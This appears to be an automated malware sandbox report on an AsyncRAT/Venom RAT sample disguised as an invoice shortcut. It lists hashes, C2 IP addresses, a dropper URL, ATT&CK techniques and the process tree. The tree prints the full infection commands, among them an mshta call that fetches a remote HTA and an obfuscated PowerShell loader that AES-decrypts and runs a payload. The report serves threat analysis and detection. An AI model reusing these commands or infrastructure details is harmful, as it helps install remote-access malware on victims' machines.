asyncrat | 84297536d9873d971dcc783ae2f95af8cbf32c65fccf3c8687af2ba5294b7f30

General

Target

Invoice.pdf.lnk
Size

148KB
MD5

d39a73de9f109e3dba408e9481998206
SHA1

30651dada81443db0fde9c3a336955d27b6d9024
SHA256

84297536d9873d971dcc783ae2f95af8cbf32c65fccf3c8687af2ba5294b7f30
SHA512

09c8954ecabbeb36aeb8804858168eb1448f5894c1641a1ba5311f2b33aaeb24814734d0b1f7e777f22910c53bb9df500801907a603d8d71fba139705f444d61
SSDEEP

24:8WEe6Dz358m+pyAWkr+/4x+sPxZvBG0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvZbnvBG7dJ9A6U/a5QW

Score

10^/10

asyncrat default discovery persistence rat

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.2

Botnet

Default

C2

94.156.69.161:8900

94.156.69.161:4443

94.156.69.163:8900

94.156.69.163:4443

94.156.69.164:8900

94.156.69.164:4443

94.156.69.165:8900

94.156.69.165:4443

94.156.69.166:8900

94.156.69.166:4443

91.92.248.82:8900

91.92.248.82:4443

91.92.251.136:8900

91.92.251.136:4443

91.92.251.153:8900

91.92.251.153:4443

91.92.251.159:8900

91.92.251.159:4443

91.92.251.179:8900

91.92.251.179:4443

Mutex

sqhylkrhlwjrecxiv

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

2 3796 mshta.exe
4 3796 mshta.exe
5 3796 mshta.exe
6 2892 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

windefragsvc.exe

pid process

4808 windefragsvc.exe

flow	pid	process
2	3796	mshta.exe
4	3796	mshta.exe
5	3796	mshta.exe
6	2892	powershell.exe

pid	process
4808	windefragsvc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

windefragsvc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Microsoft\Windows\CurrentVersion\Run\skwpfwdg = "C:\\Users\\Admin\\AppData\\Roaming\\fat\\dete\\1.0.0.0\\mcsfwservice.exe"	windefragsvc.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of SetThreadContext 1 IoCs

Processes:

windefragsvc.exe

description pid process target process

PID 4808 set thread context of 2100 4808 windefragsvc.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 4808 set thread context of 2100	4808	windefragsvc.exe	RegAsm.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

Processes:

powershell.exepowershell.exeAcroRd32.exeRegAsm.exe

pid	process
4356	powershell.exe
4356	powershell.exe
2892	powershell.exe
2892	powershell.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
2100	RegAsm.exe
2100	RegAsm.exe
2100	RegAsm.exe
2100	RegAsm.exe
2100	RegAsm.exe
2100	RegAsm.exe
2100	RegAsm.exe
2100	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 4356 powershell.exe
Token: SeDebugPrivilege 2892 powershell.exe
Token: SeDebugPrivilege 2100 RegAsm.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AcroRd32.exe

pid process

4704 AcroRd32.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

AcroRd32.exeRegAsm.exe

pid process

4704 AcroRd32.exe
4704 AcroRd32.exe
4704 AcroRd32.exe
4704 AcroRd32.exe
4704 AcroRd32.exe
2100 RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2100	RegAsm.exe

pid	process
4704	AcroRd32.exe

pid	process
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
4704	AcroRd32.exe
2100	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeforfiles.exepowershell.exemshta.exepowershell.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 3876 wrote to memory of 4688	3876	cmd.exe	forfiles.exe
PID 3876 wrote to memory of 4688	3876	cmd.exe	forfiles.exe
PID 4688 wrote to memory of 4356	4688	forfiles.exe	powershell.exe
PID 4688 wrote to memory of 4356	4688	forfiles.exe	powershell.exe
PID 4356 wrote to memory of 3796	4356	powershell.exe	mshta.exe
PID 4356 wrote to memory of 3796	4356	powershell.exe	mshta.exe
PID 3796 wrote to memory of 2892	3796	mshta.exe	powershell.exe
PID 3796 wrote to memory of 2892	3796	mshta.exe	powershell.exe
PID 2892 wrote to memory of 4704	2892	powershell.exe	AcroRd32.exe
PID 2892 wrote to memory of 4704	2892	powershell.exe	AcroRd32.exe
PID 2892 wrote to memory of 4704	2892	powershell.exe	AcroRd32.exe
PID 4704 wrote to memory of 1444	4704	AcroRd32.exe	RdrCEF.exe
PID 4704 wrote to memory of 1444	4704	AcroRd32.exe	RdrCEF.exe
PID 4704 wrote to memory of 1444	4704	AcroRd32.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 556	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe
PID 1444 wrote to memory of 3700	1444	RdrCEF.exe	RdrCEF.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3876

C:\Windows\System32\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice"
2⤵
- Suspicious use of WriteProcessMemory
PID:4688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
. mshta https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4356

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/Evernote-Invoice
4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function NDkpzB($PbutE){return -split ($PbutE -replace '..', '0x$& ')};$FgMPQtR = NDkpzB('3D2E22BEE13CCFE8B668DFE3870189AB65FC83A106ED0669AD4641C874CEFC917EC535ADDF89DF1FC0D291409C73E835B9F5E70CF0828A29B1A99FCA6F796F2A42503EAD3E20FB474BFCCBC35604C7DF567229A99309C37991C3C06D087F748ACC4BC05F5B87FDD9577382DC5E78E9AF8F258959DBD417148594A4E69F30F8BA09721A811C9154BF4F46C61B027E5E341F93E46D8A20C8C29F4EC25E5C686A83F3F134C5E02359C71996DDDA3CB61DC08A2EB6BE0D3BB39C00E9CD6C5B8E50425065FA05BE50EB58A186392882ABB24FD4D0628687F1E075817F6E330DC872782EC8EF3270D119F3F1EC86C7C67AB9FD26BF831DFCD080EFE275AD185384E578FB6FF21965BEBABF3D61F1298B71AA9FC44837B82550CF83C1CA66CF07FDD34B3A36310A571FD186CAA02874D83D539F0ED9044B8229A424D9B6082A7ACC921F90904F4DF72C046C6FD1C5F33D9111995AAD7C1C1DD1C2AB1663495AD4FA4A076957D6C02EA68AC2E44CCE5221002CB17CB5CE00989546834D261F7C9FEAF275945B6288E36BE0499F62C619DD95E5D74BCE21A67C9B3D7086F8A2BC180BC93D234878A2B0DE6149370967764D9A43A5B369191F8CA07CDA7F4C04EEA417515BBE36A47DB3F155508C8C012037E01E725505EA2CEF9DC3452A26D6CCCEEB8F53AB4E584DB03063509EDC34BD1631BC0D85131CD09FF34CB6F59C256EE3A3F103404A0F88BEE10B6013EBA9B9A71B168C53B1500E3EE8F5E3D826118E292F0BD55FDD0C5D4926161CC7FE9FB046F7A7A4BE387BF2C9A4CD81588044BB525721950179CD20BC45EDCF86DACC2D05515E4A58A7D4607A73C70D16BB5DF70BD51F26556B2B75F712CF6B33D805188BE16B94E6CF59787C2CAD2624B8DE1F1FD6555ADCD6B087438FE541F4E496F6A1A54088B41117481113DF53DEE84CA74EE438A319B822416D96A624AB4ADA351565AB1AB7910CB458083883D052E81D58BBD45FA51B2A392F60088ACC43D43965E09E3999B124A4D99742762C29FEE7420F1FEBEAA69BE53723E7C83A1A0A9AB74BD3474822C6D09A38219121F97EB315CC6A97AFFD96443F43BCCB405282E5D5F8C2E1607082372440DB310E54573087CA2C07CAD48324AAA6D911A31EBE54BC246CC77D449E0209925602A237BE857173875FF7CBDF566A584855FA36E7BA974C49E4AC6BA71F637954D6EC82596875886BD35B62A9C41EA16912E81F4625EFFEE2F5FCD66832EF3C439A748C8E6AA5C50B2992CA202119B2EBDB95ECE163FC8FF7B0501C611AFDCD510A004DE882C79B433EDD9B890926856A227E5785BA964677F025837F0C62EF77D4C9D609518E415D6DDC2396A5839D383F6432318DE07919F442E2D5D455313D4A5E6414B3670D6DA8A746844B6475984E7DC5722645FAE5C2734D64606B25DD735043ABF19ACE1D00CF1455D8DCB263FE49FF6DAF30B1D278A2B024AAFA5CD490FA75A3500718CB6C2D733C645F1D96145E4F47C3B9FFAB0A80D4806F9597AB6C16648E27BAE0DBAFEBCA1B9FC9CB65F38A195E4BF3C914D7EB77DF41FEBED9252B7AA6D055220D9B1BE5316F0934D2ACF837572E54605BB44920BC30963D120BE37D1424FC57F0BC5A94530924D42DB1D03E2DF2E25F9425495C81589DAB9FE1139AE45431DCCDE27404986F8ED2458E7515A420D2F40D110D146A7F3E0566F550A052B46A6AC139EBE3CC41082CAE82EC5846FEC3099D033661D49805ED48FE4F019ECC22D5684A78CE7960DA71ED832792147A535401F1498FAE1C2C4FAECFB4DA3EBF98E01C1B81D841AA94083C26C2E7AC676E83180756C3EC3BA39F08A527D5CA7063EA91228B210D40DA1428F93986B13C10BF132D27C85801CC49F8598B105227DB80FF777FB78B8D6537584E244FF98133C299B3DCD20BE4D4BEA88D068CDBD84F54F0E419FF9F730F7FC17BB140848191A0AE77DC3182584C1F0BBA1EFE230BA6F9BD64622D0EBB1B60D55C6DD5141BD03DC8E385CF9AD75D8CE161AD6433E790579D4C316320D3BF9B609ED9BC810E661092B5D2F824ECD168E1A288B1EC23A230DFEBD019DC175FE02FB070676A7482EAC99F984A1B33F24A05624DD8E8FE3B261186010881F43CBA3AF8581D0B62D6FD371276A0A6AC713BBF10E63835C647C6808C475CFDA4B5362CFB4709875D7C86AD7B698CE71A069C32FE65523E8D3E8C40DE1149F66CD1B651698F41D98DB91312BD04A1E012D728C2FB120EB74CFF9F93D064E541C8953EE17AAD25F9A2CE3116796F26552CF5C7F08B1B73411CB6622FBFC3A56EA8D19B6513611D36C25F7AC9428174BCC5D619DB2C87759D6E0C291582A50C887CD0E72F242760BC721B1271E4732B1FBEF23833AA9EE322D775365EDD7D0C2AF9E01C3492F003338D21E90287');$UcouF = [System.Security.Cryptography.Aes]::Create();$UcouF.Key = NDkpzB('415450574E64494F4F6C5A7742707268');$UcouF.IV = New-Object byte[] 16;$seVZtfGD = $UcouF.CreateDecryptor();$mamDBHAHL = $seVZtfGD.TransformFinalBlock($FgMPQtR, 0, $FgMPQtR.Length);$bZUJiekdW = [System.Text.Encoding]::Utf8.GetString($mamDBHAHL);$seVZtfGD.Dispose();& $bZUJiekdW.Substring(0,3) $bZUJiekdW.Substring(3)
5⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\Evernote-Supplemental-Terms.pdf"
6⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4704

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
7⤵
- Suspicious use of WriteProcessMemory
PID:1444

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=296FF06228B7DA13233302BEBAEAEEE7 --mojo-platform-channel-handle=1772 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:556

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=D835F33EAC8F4C0F6410372ACCAEE0EE --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=D835F33EAC8F4C0F6410372ACCAEE0EE --renderer-client-id=2 --mojo-platform-channel-handle=1764 --allow-no-sandbox-job /prefetch:1
8⤵
PID:3700

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=59BE58429C2A83B9FA05F5849C643353 --mojo-platform-channel-handle=1852 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:2592

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=0E886FA7D64F595510937D034908F4B7 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=0E886FA7D64F595510937D034908F4B7 --renderer-client-id=5 --mojo-platform-channel-handle=2328 --allow-no-sandbox-job /prefetch:1
8⤵
PID:1252

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8527C2574023185FEC3369341D493CE7 --mojo-platform-channel-handle=2756 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:3812

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7703145FA57DB6B1FBD6AE9EAB391A91 --mojo-platform-channel-handle=2764 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:2740

C:\Users\Admin\AppData\Roaming\windefragsvc.exe
"C:\Users\Admin\AppData\Roaming\windefragsvc.exe"
6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:4808

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2100

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
897e93f93578918a26695259d39effb5

SHA1
